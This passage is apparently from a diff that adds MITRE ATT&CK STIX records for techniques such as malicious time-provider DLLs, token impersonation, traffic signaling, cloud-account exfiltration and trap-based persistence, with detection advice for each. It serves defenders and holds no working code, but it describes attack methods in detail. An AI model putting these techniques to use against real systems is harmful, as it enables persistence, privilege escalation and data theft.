2018.", + "url": "https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx" + }, + { + "source_name": "Github W32Time Oct 2017", + "description": "Lundgren, S. (2017, October 28). w32time. Retrieved March 26, 2018.", + "url": "https://github.com/scottlundgren/w32time" + }, + { + "source_name": "Microsoft W32Time May 2017", + "description": "Mathers, B. (2017, May 31). Windows Time Service Tools and Settings. Retrieved March 26, 2018.", + "url": "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings" + }, + { + "source_name": "TechNet Autoruns", + "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", + "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Time Providers", + "x_mitre_data_sources": [ + "Windows Registry: Windows Registry Key Modification", + "Module: Module Load", + "Command: Command Execution", + "Process: Process Creation" + ], + "x_mitre_version": "1.0", + "modified": "2020-03-25T15:24:26.476Z", + "created": "2020-01-24T15:51:52.317Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "id": "attack-pattern--61afc315-860c-4364-825d-0d62b2e91edc", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "SYSTEM", + "Administrator" + ], + "description": "Adversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains. (Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients. (Citation: Microsoft TimeProvider)\n\nTime providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\. (Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed. (Citation: Microsoft TimeProvider)\n\nAdversaries may abuse this architecture to establish persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account. (Citation: Github W32Time Oct 2017)", + "x_mitre_contributors": [ + "Scott Lundgren, @5twenty9, Carbon Black" + ], + "x_mitre_detection": "Baseline values and monitor/analyze activity related to modifying W32Time information in the Registry, including application programming interface (API) calls such as RegCreateKeyEx and RegSetValueEx as well as execution of the W32tm.exe utility. (Citation: Microsoft W32Time May 2017) There is no restriction on the number of custom time providers registrations, though each may require a DLL payload written to disk. (Citation: Github W32Time Oct 2017)\n\nThe Sysinternals Autoruns tool may also be used to analyze auto-starting locations, including DLLs listed as time providers. (Citation: TechNet Autoruns)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1547/003", + "external_id": "T1547.003", + "source_name": "mitre-attack" + }, + { + "source_name": "Microsoft W32Time Feb 2018", + "description": "Microsoft. (2018, February 1). Windows Time Service (W32Time). Retrieved March 26, 2018.", + "url": "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-top" + }, + { + "source_name": "Microsoft TimeProvider", + "description": "Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018.", + "url": "https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx" + }, + { + "source_name": "Github W32Time Oct 2017", + "description": "Lundgren, S. (2017, October 28). w32time. Retrieved March 26, 2018.", + "url": "https://github.com/scottlundgren/w32time" + }, + { + "source_name": "Microsoft W32Time May 2017", + "description": "Mathers, B. (2017, May 31). Windows Time Service Tools and Settings. Retrieved March 26, 2018.", + "url": "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings" + }, + { + "source_name": "TechNet Autoruns", + "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", + "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-02-18T16:56:57.039Z", + "name": "Timestomp", + "created": "2017-05-31T21:31:12.675Z", + "id": "attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1099", + "external_id": "T1099", + "source_name": "mitre-attack" + }, + { + "source_name": "WindowsIR Anti-Forensic Techniques", + "description": "Carvey, H. (2013, July 23). HowTo: Determine/Detect the use of Anti-Forensics Techniques. Retrieved June 3, 2016.", + "url": "http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-03-29T21:39:46.724Z", + "name": "Timestomp", + "x_mitre_data_sources": [ + "File: File Modification", + "File: File Metadata" + ], + "x_mitre_version": "1.0", + "created": "2020-01-31T12:42:44.103Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "id": "attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611", + "x_mitre_defense_bypassed": [ + "Host forensic analysis" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "root", + "SYSTEM", + "User" + ], + "description": "Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.\n\nTimestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools.(Citation: WindowsIR Anti-Forensic Techniques)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Romain Dumont, ESET" + ], + "x_mitre_detection": "Forensic techniques exist to detect aspects of files that have had their timestamps modified. (Citation: WindowsIR Anti-Forensic Techniques) It may be possible to detect timestomping using file modification monitoring that collects information on file handle opens and can compare timestamp values.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1070/006", + "external_id": "T1070.006", + "source_name": "mitre-attack" + }, + { + "source_name": "WindowsIR Anti-Forensic Techniques", + "description": "Carvey, H. (2013, July 23). HowTo: Determine/Detect the use of Anti-Forensics Techniques. Retrieved June 3, 2016.", + "url": "http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-03-26T21:29:18.608Z", + "name": "Token Impersonation/Theft", + "x_mitre_data_sources": [ + "Process: OS API Execution", + "Command: Command Execution" + ], + "x_mitre_version": "1.0", + "created": "2020-02-18T16:39:06.289Z", + "x_mitre_defense_bypassed": [ + "Windows User Account Control", + "System access controls", + "File system access controls" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--86850eff-2729-40c3-b85e-c4af26da4a2d", + "description": "Adversaries may duplicate then impersonate another user's token to escalate privileges and bypass access controls. An adversary can create a new access token that duplicates an existing token using DuplicateToken(Ex). The token can then be used with ImpersonateLoggedOnUser to allow the calling thread to impersonate a logged on user's security context, or with SetThreadToken to assign the impersonated token to a thread.\n\nAn adversary may do this when they have a specific, existing process they want to assign the new token to. For example, this may be useful for when the target user has a non-network logon session on the system.", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "x_mitre_detection": "If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\n\nAnalysts can also monitor for use of Windows APIs such as DuplicateToken(Ex), ImpersonateLoggedOnUser , and SetThreadToken and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1134/001", + "external_id": "T1134.001", + "source_name": "mitre-attack" + }, + { + "source_name": "Microsoft Command-line Logging", + "description": "Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.", + "url": "https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Tool", + "x_mitre_data_sources": [ + "Malware Repository: Malware Metadata" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-17T16:17:55.499Z", + "created": "2020-10-01T02:08:33.977Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0", + "description": "Adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Tool acquisition can involve the procurement of commercial software licenses, including for red teaming tools such as [Cobalt Strike](https://attack.mitre.org/software/S0154). Commercial software may be obtained through purchase, stealing licenses (or licensed copies of the software), or cracking trial versions.(Citation: Recorded Future Beacon 2019)\n\nAdversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries).", + "x_mitre_contributors": [ + "SOCCRATES", + "Mnemonic AS" + ], + "x_mitre_detection": "In some cases, malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in [Cobalt Strike](https://attack.mitre.org/software/S0154) payloads.(Citation: Analyzing CS Dec 2020)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1588/002", + "external_id": "T1588.002", + "source_name": "mitre-attack" + }, + { + "url": "https://www.recordedfuture.com/identifying-cobalt-strike-servers/", + "description": "Recorded Future. (2019, June 20). Out of the Blue: How Recorded Future Identified Rogue Cobalt Strike Servers. Retrieved October 16, 2020.", + "source_name": "Recorded Future Beacon 2019" + }, + { + "url": "https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/", + "description": "Maynier, E. (2020, December 20). Analyzing Cobalt Strike for Fun and Profit. Retrieved October 12, 2021.", + "source_name": "Analyzing CS Dec 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Traffic Duplication", + "x_mitre_data_sources": [ + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Flow" + ], + "x_mitre_version": "1.1", + "modified": "2021-08-16T15:23:37.640Z", + "created": "2020-10-19T13:40:11.118Z", + "x_mitre_permissions_required": [ + "Administrator" + ], + "x_mitre_platforms": [ + "Network" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--7c46b364-8496-4234-8a56-f7e6727e21e1", + "description": "Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised network infrastructure. Traffic mirroring is a native feature for some network devices and used for network analysis and may be configured to duplicate traffic and forward to one or more destinations for analysis by a network analyzer or other monitoring device. (Citation: Cisco Traffic Mirroring) (Citation: Juniper Traffic Mirroring)\n\nAdversaries may abuse traffic mirroring to mirror or redirect network traffic through other network infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) or [Patch System Image](https://attack.mitre.org/techniques/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks) Adversaries may use traffic duplication in conjunction with [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Input Capture](https://attack.mitre.org/techniques/T1056), or [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) depending on the goals and objectives of the adversary.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "exfiltration" + } + ], + "x_mitre_detection": "Monitor network traffic for uncommon data flows (e.g. unusual network communications, suspicious communications that have never been seen before, communications sending fixed size data packets at regular intervals). Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1020/001", + "external_id": "T1020.001", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/117.html", + "external_id": "CAPEC-117", + "source_name": "capec" + }, + { + "url": "https://www.cisco.com/c/en/us/td/docs/routers/crs/software/crs_r5-1/interfaces/configuration/guide/hc51xcrsbook/hc51span.html", + "description": "Cisco. (n.d.). Cisco IOS XR Interface and Hardware Component Configuration Guide for the Cisco CRS Router, Release 5.1.x. Retrieved October 19, 2020.", + "source_name": "Cisco Traffic Mirroring" + }, + { + "url": "https://www.juniper.net/documentation/en_US/junos/topics/concept/port-mirroring-ex-series.html", + "description": "Juniper. (n.d.). Understanding Port Mirroring on EX2200, EX3200, EX3300, EX4200, EX4500, EX4550, EX6200, and EX8200 Series Switches. Retrieved October 19, 2020.", + "source_name": "Juniper Traffic Mirroring" + }, + { + "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A", + "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.", + "source_name": "US-CERT-TA18-106A" + }, + { + "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954", + "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.", + "source_name": "Cisco Blog Legacy Device Attacks" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2021-02-17T14:23:49.495Z", + "name": "Traffic Signaling", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1205", + "external_id": "T1205", + "source_name": "mitre-attack" + }, + { + "source_name": "Hartrell cd00r 2002", + "description": "Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible backdoor. Retrieved October 13, 2018.", + "url": "https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631" + }, + { + "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices", + "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.", + "source_name": "Cisco Synful Knock Evolution" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2015/09/synful_knock_-_acis.html", + "description": "Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful Knock - A Cisco router implant - Part I. Retrieved October 19, 2020.", + "source_name": "FireEye - Synful Knock" + }, + { + "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954", + "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.", + "source_name": "Cisco Blog Legacy Device Attacks" + }, + { + "url": "https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/", + "description": "Abrams, L. (2021, January 14). Ryuk Ransomware Uses Wake-on-Lan To Encrypt Offline Devices. Retrieved February 11, 2021.", + "source_name": "Bleeping Computer - Ryuk WoL" + }, + { + "url": "https://www.amd.com/system/files/TechDocs/20213.pdf", + "description": "AMD. (1995, November 1). Magic Packet Technical White Paper. Retrieved February 17, 2021.", + "source_name": "AMD Magic Packet" + }, + { + "url": "https://gitlab.com/wireshark/wireshark/-/wikis/WakeOnLAN", + "description": "Perry, David. (2020, August 11). WakeOnLAN (WOL). Retrieved February 17, 2021.", + "source_name": "GitLab WakeOnLAN" + } + ], + "x_mitre_data_sources": [ + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content" + ], + "x_mitre_version": "2.2", + "created": "2018-04-18T17:59:24.739Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "id": "attack-pattern--451a9977-d255-43c9-b431-66de80130c8c", + "revoked": false, + "x_mitre_defense_bypassed": [ + "Defensive network service scanning" + ], + "x_mitre_network_requirements": true, + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.\n\nAdversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s).\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.\n\nOn network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004) for standard services offered by the device such as telnet. Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities.(Citation: Cisco Synful Knock Evolution) (Citation: FireEye - Synful Knock) (Citation: Cisco Blog Legacy Device Attacks) To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage [Patch System Image](https://attack.mitre.org/techniques/T1601/001) due to the monolithic nature of the architecture.\n\nAdversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer - Ryuk WoL) (Citation: AMD Magic Packet)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Josh Day, Gigamon" + ], + "x_mitre_detection": "Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows.\n\nThe Wake-on-LAN magic packet consists of 6 bytes of FF followed by sixteen repetitions of the target system's IEEE address. Seeing this string anywhere in a packet's payload may be indicative of a Wake-on-LAN attempt.(Citation: GitLab WakeOnLAN)", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "Network" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "type": "attack-pattern", + "modified": "2021-03-08T10:33:01.280Z", + "name": "Transfer Data to Cloud Account", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1537", + "external_id": "T1537", + "source_name": "mitre-attack" + }, + { + "url": "https://www.justice.gov/file/1080281/download", + "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.", + "source_name": "DOJ GRU Indictment Jul 2018" + } + ], + "x_mitre_data_sources": [ + "Snapshot: Snapshot Creation", + "Snapshot: Snapshot Modification", + "Cloud Storage: Cloud Storage Modification", + "Cloud Storage: Cloud Storage Creation" + ], + "x_mitre_version": "1.1", + "created": "2019-08-30T13:03:04.038Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "exfiltration" + } + ], + "id": "attack-pattern--d4bdbdea-eaec-4071-b4f9-5105e12ea4b6", + "x_mitre_network_requirements": true, + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may exfiltrate data by transferring the data, including backups of cloud environments, to another cloud account they control on the same service to avoid typical file transfers/downloads and network-based exfiltration detection.\n\nA defender who is monitoring for large transfers to outside the cloud environment through normal file transfers or over command and control channels may not be watching for data transfers to another account within the same cloud provider. Such transfers may utilize existing cloud provider APIs and the internal address space of the cloud provider to blend into normal traffic or avoid data transfers over external network interfaces.\n\nIncidents have been observed where adversaries have created backups of cloud instances and transferred them to separate accounts.(Citation: DOJ GRU Indictment Jul 2018) ", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Praetorian" + ], + "x_mitre_detection": "Monitor account activity for attempts to share data, snapshots, or backups with untrusted or unusual accounts on the same cloud service provider. Monitor for anomalous file transfer activity between accounts and to untrusted VPCs. ", + "x_mitre_platforms": [ + "IaaS" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "type": "attack-pattern", + "modified": "2020-03-02T14:27:49.110Z", + "name": "Transmitted Data Manipulation", + "created": "2019-04-09T16:08:20.824Z", + "id": "attack-pattern--cc1e737c-236c-4e3b-83ba-32039a626ef8", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1493", + "external_id": "T1493", + "source_name": "mitre-attack" + }, + { + "source_name": "FireEye APT38 Oct 2018", + "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.", + "url": "https://content.fireeye.com/apt/rpt-apt38" + }, + { + "url": "https://www.justice.gov/opa/press-release/file/1092091/download", + "description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.", + "source_name": "DOJ Lazarus Sony 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Transmitted Data Manipulation", + "x_mitre_data_sources": [ + "Process: OS API Execution", + "Network Traffic: Network Traffic Content", + "Network Traffic: Network Traffic Flow" + ], + "x_mitre_version": "1.0", + "modified": "2020-03-02T15:20:28.455Z", + "created": "2020-03-02T14:27:00.693Z", + "x_mitre_permissions_required": [ + "User", + "Administrator", + "SYSTEM", + "root" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--d0613359-5781-4fd2-b5be-c269270be1f6", + "description": "Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making.\n\nManipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "x_mitre_impact_type": [ + "Integrity" + ], + "x_mitre_detection": "Detecting the manipulation of data as at passes over a network can be difficult without the appropriate tools. In some cases integrity verification checks, such as file hashing, may be used on critical files as they transit a network. With some critical processes involving transmission of data, manual or out-of-band integrity checking may be useful for identifying manipulated data. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1565/002", + "external_id": "T1565.002", + "source_name": "mitre-attack" + }, + { + "source_name": "FireEye APT38 Oct 2018", + "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.", + "url": "https://content.fireeye.com/apt/rpt-apt38" + }, + { + "url": "https://www.justice.gov/opa/press-release/file/1092091/download", + "description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.", + "source_name": "DOJ Lazarus Sony 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Transport Agent", + "x_mitre_data_sources": [ + "File: File Creation", + "Application Log: Application Log Content" + ], + "x_mitre_version": "1.0", + "modified": "2021-10-18T17:05:44.321Z", + "created": "2019-12-12T15:08:20.972Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "id": "attack-pattern--35187df2-31ed-43b6-a1f5-2f1d3d58d3f1", + "x_mitre_platforms": [ + "Linux", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "SYSTEM", + "Administrator", + "root" + ], + "description": "Adversaries may abuse Microsoft transport agents to establish persistent access to systems. Microsoft Exchange transport agents can operate on email messages passing through the transport pipeline to perform various tasks such as filtering spam, filtering malicious attachments, journaling, or adding a corporate signature to the end of all outgoing emails.(Citation: Microsoft TransportAgent Jun 2016)(Citation: ESET LightNeuron May 2019) Transport agents can be written by application developers and then compiled to .NET assemblies that are subsequently registered with the Exchange server. Transport agents will be invoked during a specified stage of email processing and carry out developer defined tasks. \n\nAdversaries may register a malicious transport agent to provide a persistence mechanism in Exchange Server that can be triggered by adversary-specified email events.(Citation: ESET LightNeuron May 2019) Though a malicious transport agent may be invoked for all emails passing through the Exchange transport pipeline, the agent can be configured to only carry out specific tasks in response to adversary defined criteria. For example, the transport agent may only carry out an action like copying in-transit attachments and saving them for later exfiltration if the recipient email address matches an entry on a list provided by the adversary. ", + "x_mitre_contributors": [ + "ESET", + "Christoffer Str\u00f6mblad" + ], + "x_mitre_detection": "Consider monitoring application logs for abnormal behavior that may indicate suspicious installation of application software components. Consider monitoring file locations associated with the installation of new application software components such as paths from which applications typically load such extensible components.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1505/002", + "external_id": "T1505.002", + "source_name": "mitre-attack" + }, + { + "url": "https://docs.microsoft.com/en-us/exchange/transport-agents-exchange-2013-help", + "description": "Microsoft. (2016, June 1). Transport agents. Retrieved June 24, 2019.", + "source_name": "Microsoft TransportAgent Jun 2016" + }, + { + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf", + "description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.", + "source_name": "ESET LightNeuron May 2019" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-01-24T14:18:13.478Z", + "name": "Trap", + "created": "2017-12-14T16:46:06.044Z", + "id": "attack-pattern--b53dbcc6-147d-48bb-9df4-bcb8bb808ff6", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1154", + "external_id": "T1154", + "source_name": "mitre-attack" + }, + { + "url": "https://ss64.com/bash/trap.html", + "description": "ss64. (n.d.). trap. Retrieved May 21, 2019.", + "source_name": "Trap Manual" + }, + { + "url": "https://bash.cyberciti.biz/guide/Trap_statement", + "description": "Cyberciti. (2016, March 29). Trap statement. Retrieved May 21, 2019.", + "source_name": "Cyberciti Trap Statements" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Trap", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "File: File Creation", + "File: File Modification" + ], + "x_mitre_version": "1.0", + "modified": "2020-03-24T16:43:02.273Z", + "created": "2020-01-24T14:17:43.906Z", + "x_mitre_permissions_required": [ + "User", + "Administrator" + ], + "x_mitre_platforms": [ + "macOS", + "Linux" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--63220765-d418-44de-8fae-694b3912317d", + "description": "Adversaries may establish persistence by executing malicious content triggered by an interrupt signal. The trap command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like ctrl+c and ctrl+d.\n\nAdversaries can use this to register code to be executed when the shell encounters specific interrupts as a persistence mechanism. Trap commands are of the following format trap 'command list' signals where \"command list\" will be executed when \"signals\" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "x_mitre_detection": "Trap commands must be registered for the shell or programs, so they appear in files. Monitoring files for suspicious or overly broad trap commands can narrow down suspicious behavior during an investigation. Monitor for suspicious processes executed through trap interrupts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1546/005", + "external_id": "T1546.005", + "source_name": "mitre-attack" + }, + { + "url": "https://ss64.com/bash/trap.html", + "description": "ss64. (n.d.). trap. Retrieved May 21, 2019.", + "source_name": "Trap Manual" + }, + { + "url": "https://bash.cyberciti.biz/guide/Trap_statement", + "description": "Cyberciti. (2016, March 29). Trap statement. Retrieved May 21, 2019.", + "source_name": "Cyberciti Trap Statements" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": 